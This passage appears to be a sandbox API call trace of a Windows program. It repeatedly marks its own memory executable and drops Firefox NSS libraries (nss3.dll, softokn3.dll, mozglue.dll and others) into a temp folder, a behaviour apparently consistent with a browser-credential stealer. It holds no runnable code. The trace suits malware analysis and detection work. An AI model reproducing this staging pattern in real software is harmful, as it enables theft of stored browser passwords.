ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.059] VirtualFree (lpAddress=0x1f3c0000, dwSize=0x54000, dwFreeType=0x4000) returned 1 [0149.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.061] VirtualAlloc (lpAddress=0x1f3c0000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f3c0000 [0149.064] VirtualFree (lpAddress=0x1f368000, dwSize=0x54000, dwFreeType=0x4000) returned 1 [0149.067] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f3bc754, cbMultiByte=11, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="mozglue.dllcrt-utility-l1-1-0.dllllll.dll.dll") returned 11 [0149.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.073] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/mozglue.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\mozglue.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0149.073] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.074] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0149.075] VirtualFree (lpAddress=0x1f3e0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.077] WriteFile (in: hFile=0x44, lpBuffer=0x1f361888*, nNumberOfBytesToWrite=0x21fd0, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f361888*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x21fd0, lpOverlapped=0x0) returned 1 [0149.081] CloseHandle (hObject=0x44) returned 1 [0149.084] VirtualFree (lpAddress=0x1f364000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0149.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.086] VirtualAlloc (lpAddress=0x1f3e0000, dwSize=0x6c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f3e0000 [0149.095] VirtualFree (lpAddress=0x1f3bc000, dwSize=0x20000, dwFreeType=0x4000) returned 1 [0149.096] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd01860, cbMultiByte=12, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="msvcp140.dllrt-utility-l1-1-0.dllllll.dll.dll") returned 12 [0149.096] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/msvcp140.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0149.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.117] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x6c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0149.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.126] WriteFile (in: hFile=0x44, lpBuffer=0x1f361888*, nNumberOfBytesToWrite=0x6b738, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f361888*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x6b738, lpOverlapped=0x0) returned 1 [0149.145] CloseHandle (hObject=0x44) returned 1 [0149.151] VirtualFree (lpAddress=0x1f364000, dwSize=0x6c000, dwFreeType=0x4000) returned 1 [0149.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.154] VirtualAlloc (lpAddress=0x0, dwSize=0x130000, flAllocationType=0x2000, flProtect=0x1) returned 0x1e8e0000 [0149.155] VirtualAlloc (lpAddress=0x1e8e0000, dwSize=0x34000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8e0000 [0149.156] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0xfc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0149.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.185] VirtualFree (lpAddress=0x1f3dc000, dwSize=0x70000, dwFreeType=0x4000) returned 1 [0149.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.189] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfd0e0, cbMultiByte=8, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="nss3.dll.dllrt-utility-l1-1-0.dllllll.dll.dll") returned 8 [0149.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.190] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/nss3.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\nss3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0149.191] VirtualAlloc (lpAddress=0x0, dwSize=0x130000, flAllocationType=0x2000, flProtect=0x1) returned 0x1fde0000 [0149.191] VirtualAlloc (lpAddress=0x1fde0000, dwSize=0x12c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fde0000 [0149.196] VirtualAlloc (lpAddress=0x1fddc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fddc000 [0149.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.238] WriteFile (in: hFile=0x44, lpBuffer=0x1fddbb5c*, nNumberOfBytesToWrite=0x12fbd0, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1fddbb5c*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x12fbd0, lpOverlapped=0x0) returned 1 [0149.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.266] CloseHandle (hObject=0x44) returned 1 [0149.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.362] VirtualFree (lpAddress=0x1fde0000, dwSize=0x12c000, dwFreeType=0x4000) returned 1 [0149.369] VirtualFree (lpAddress=0x1fddc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.370] VirtualFree (lpAddress=0x1fde0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.373] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0149.375] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x30000, dwFreeType=0x4000) returned 1 [0149.376] VirtualFree (lpAddress=0x1e7e4000, dwSize=0xfc000, dwFreeType=0x4000) returned 1 [0149.381] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e910494, cbMultiByte=11, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="nssdbm3.dlllrt-utility-l1-1-0.dllllll.dll.dll") returned 11 [0149.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.382] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/nssdbm3.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\nssdbm3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0149.383] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0149.385] WriteFile (in: hFile=0x44, lpBuffer=0x1e7e08b4*, nNumberOfBytesToWrite=0x169d0, lpNumberOfBytesWritten=0x1e7dfbf8, lpOverlapped=0x0 | out: lpBuffer=0x1e7e08b4*, lpNumberOfBytesWritten=0x1e7dfbf8*=0x169d0, lpOverlapped=0x0) returned 1 [0149.387] CloseHandle (hObject=0x44) returned 1 [0149.389] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0149.389] VirtualFree (lpAddress=0x1e910000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.389] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.390] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0149.393] VirtualFree (lpAddress=0x1f364000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0149.393] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd01860, cbMultiByte=12, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="softokn3.dllrt-utility-l1-1-0.dllllll.dll.dll") returned 12 [0149.393] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\/softokn3.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\softokn3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44 [0149.394] VirtualAlloc (lpAddress=0x1f364000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f364000 [0149.394] VirtualFree (lpAddress=0x1e804000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: 